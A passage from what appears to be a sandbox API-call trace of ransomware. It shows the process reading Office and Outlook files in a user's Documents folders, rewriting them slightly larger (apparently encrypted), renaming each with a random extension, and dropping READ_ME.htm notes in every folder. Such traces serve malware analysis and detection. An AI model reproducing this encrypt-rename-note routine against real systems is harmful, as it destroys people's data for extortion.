lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29527f0*, lpNumberOfBytesRead=0x21d418*=0x1482, lpOverlapped=0x0) returned 1 [0153.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt", lpFilePart=0x0) returned 0x37 [0153.325] SetErrorMode (uMode=0x1) returned 0x0 [0153.325] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\ml1qaw b9it2kv6h0.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.326] GetFileType (hFile=0x1d0) returned 0x1 [0153.326] SetErrorMode (uMode=0x0) returned 0x1 [0153.326] GetFileType (hFile=0x1d0) returned 0x1 [0153.326] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a38ce0*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2a38ce0*, lpNumberOfBytesWritten=0x21d498*=0x1490, lpOverlapped=0x0) returned 1 [0153.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt", lpFilePart=0x0) returned 0x37 [0153.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt.iftoq9", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt.iftoq9", lpFilePart=0x0) returned 0x3e [0153.328] SetErrorMode (uMode=0x1) returned 0x0 [0153.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\ml1qaw b9it2kv6h0.ppt"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d533cb0, ftCreationTime.dwHighDateTime=0x1d8b11b, ftLastAccessTime.dwLowDateTime=0x8010c6b0, ftLastAccessTime.dwHighDateTime=0x1d8bb3a, ftLastWriteTime.dwLowDateTime=0x57e0daa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1490)) returned 1 [0153.329] SetErrorMode (uMode=0x0) returned 0x1 [0153.329] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\ml1qaw b9it2kv6h0.ppt"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt.iftoq9" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\ml1qaw b9it2kv6h0.ppt.iftoq9")) returned 1 [0153.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls", lpFilePart=0x0) returned 0x2a [0153.335] SetErrorMode (uMode=0x1) returned 0x0 [0153.335] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\zgaq.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.335] GetFileType (hFile=0x1d0) returned 0x1 [0153.335] SetErrorMode (uMode=0x0) returned 0x1 [0153.335] GetFileType (hFile=0x1d0) returned 0x1 [0153.335] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x1601 [0153.336] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a3b050, nNumberOfBytesToRead=0x1601, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a3b050*, lpNumberOfBytesRead=0x21d418*=0x1601, lpOverlapped=0x0) returned 1 [0153.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls", lpFilePart=0x0) returned 0x2a [0153.460] SetErrorMode (uMode=0x1) returned 0x0 [0153.460] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\zgaq.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.462] GetFileType (hFile=0x1d0) returned 0x1 [0153.462] SetErrorMode (uMode=0x0) returned 0x1 [0153.462] GetFileType (hFile=0x1d0) returned 0x1 [0153.462] WriteFile (in: hFile=0x1d0, lpBuffer=0x291b180*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x291b180*, lpNumberOfBytesWritten=0x21d498*=0x1610, lpOverlapped=0x0) returned 1 [0153.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls", lpFilePart=0x0) returned 0x2a [0153.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls.niojyk", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls.niojyk", lpFilePart=0x0) returned 0x31 [0153.464] SetErrorMode (uMode=0x1) returned 0x0 [0153.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\zgaq.xls"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb2f460, ftCreationTime.dwHighDateTime=0x1d8b3a7, ftLastAccessTime.dwLowDateTime=0x506677a0, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x57f64700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1610)) returned 1 [0153.464] SetErrorMode (uMode=0x0) returned 0x1 [0153.464] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\zgaq.xls"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ZgAq.xls.niojyk" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\zgaq.xls.niojyk")) returned 1 [0153.465] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0153.465] SetErrorMode (uMode=0x1) returned 0x0 [0153.465] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0153.469] GetFileType (hFile=0x1d0) returned 0x1 [0153.469] SetErrorMode (uMode=0x0) returned 0x1 [0153.469] GetFileType (hFile=0x1d0) returned 0x1 [0153.469] WriteFile (in: hFile=0x1d0, lpBuffer=0x29207c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29207c8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0153.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\My Music", lpFilePart=0x0) returned 0x25 [0153.471] SetErrorMode (uMode=0x1) returned 0x0 [0153.471] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Music\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\my music\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0153.485] SetErrorMode (uMode=0x0) returned 0x1 [0153.487] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\My Music\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0153.487] SetErrorMode (uMode=0x1) returned 0x0 [0153.487] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Music\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\my music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0153.488] GetFileType (hFile=0x1d0) returned 0x1 [0153.488] SetErrorMode (uMode=0x0) returned 0x1 [0153.488] GetFileType (hFile=0x1d0) returned 0x1 [0153.488] WriteFile (in: hFile=0x1d0, lpBuffer=0x29261a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29261a0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0153.490] CloseHandle (hObject=0x1d0) returned 1 [0153.490] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\My Pictures", lpFilePart=0x0) returned 0x28 [0153.490] SetErrorMode (uMode=0x1) returned 0x0 [0153.490] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Pictures\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\my pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0153.494] SetErrorMode (uMode=0x0) returned 0x1 [0153.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\My Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0153.496] SetErrorMode (uMode=0x1) returned 0x0 [0153.496] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Pictures\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\my pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0153.497] GetFileType (hFile=0x1d0) returned 0x1 [0153.497] SetErrorMode (uMode=0x0) returned 0x1 [0153.497] GetFileType (hFile=0x1d0) returned 0x1 [0153.498] WriteFile (in: hFile=0x1d0, lpBuffer=0x292bbb8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x292bbb8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0153.499] CloseHandle (hObject=0x1d0) returned 1 [0153.499] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\My Videos", lpFilePart=0x0) returned 0x26 [0153.500] SetErrorMode (uMode=0x1) returned 0x0 [0153.500] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Videos\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\my videos\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0153.526] SetErrorMode (uMode=0x0) returned 0x1 [0153.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\My Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x32 [0153.529] SetErrorMode (uMode=0x1) returned 0x0 [0153.529] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Videos\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\my videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0153.530] GetFileType (hFile=0x1d0) returned 0x1 [0153.530] SetErrorMode (uMode=0x0) returned 0x1 [0153.530] GetFileType (hFile=0x1d0) returned 0x1 [0153.531] WriteFile (in: hFile=0x1d0, lpBuffer=0x29315b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29315b0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0153.532] CloseHandle (hObject=0x1d0) returned 1 [0153.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2a [0153.533] SetErrorMode (uMode=0x1) returned 0x0 [0153.533] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0153.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 1 [0153.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 0 [0153.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0153.535] SetErrorMode (uMode=0x0) returned 0x1 [0153.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2a [0153.535] SetErrorMode (uMode=0x1) returned 0x0 [0153.536] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0153.536] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.536] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 1 [0153.536] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 0 [0153.537] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0153.537] SetErrorMode (uMode=0x0) returned 0x1 [0153.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst", lpFilePart=0x0) returned 0x3d [0153.537] SetErrorMode (uMode=0x1) returned 0x0 [0153.537] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.538] GetFileType (hFile=0x1d0) returned 0x1 [0153.538] SetErrorMode (uMode=0x0) returned 0x1 [0153.538] GetFileType (hFile=0x1d0) returned 0x1 [0153.538] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x42400 [0153.541] ReadFile (in: hFile=0x1d0, lpBuffer=0x1296f6a0, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1296f6a0*, lpNumberOfBytesRead=0x21d418*=0x42400, lpOverlapped=0x0) returned 1 [0153.573] CloseHandle (hObject=0x1d0) returned 1 [0153.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst", lpFilePart=0x0) returned 0x3d [0153.653] SetErrorMode (uMode=0x1) returned 0x0 [0153.654] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.658] GetFileType (hFile=0x1d0) returned 0x1 [0153.658] SetErrorMode (uMode=0x0) returned 0x1 [0153.658] GetFileType (hFile=0x1d0) returned 0x1 [0153.658] WriteFile (in: hFile=0x1d0, lpBuffer=0x12b5d658*, nNumberOfBytesToWrite=0x42410, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12b5d658*, lpNumberOfBytesWritten=0x21d498*=0x42410, lpOverlapped=0x0) returned 1 [0153.702] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst", lpFilePart=0x0) returned 0x3d [0153.702] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst.3rraty", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst.3rraty", lpFilePart=0x0) returned 0x44 [0153.703] SetErrorMode (uMode=0x1) returned 0x0 [0153.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x58179a40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x42410)) returned 1 [0153.703] SetErrorMode (uMode=0x0) returned 0x1 [0153.703] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst.3rraty" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst.3rraty")) returned 1 [0153.755] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0153.755] SetErrorMode (uMode=0x1) returned 0x0 [0153.755] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0153.763] GetFileType (hFile=0x1d0) returned 0x1 [0153.763] SetErrorMode (uMode=0x0) returned 0x1 [0153.763] GetFileType (hFile=0x1d0) returned 0x1 [0153.763] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a18480*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a18480*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0153.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\QblbR", lpFilePart=0x0) returned 0x22 [0153.765] SetErrorMode (uMode=0x1) returned 0x0 [0153.765] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\QblbR\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\qblbr\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863fd30, ftCreationTime.dwHighDateTime=0x1d8bcb6, ftLastAccessTime.dwLowDateTime=0xc0f40f30, 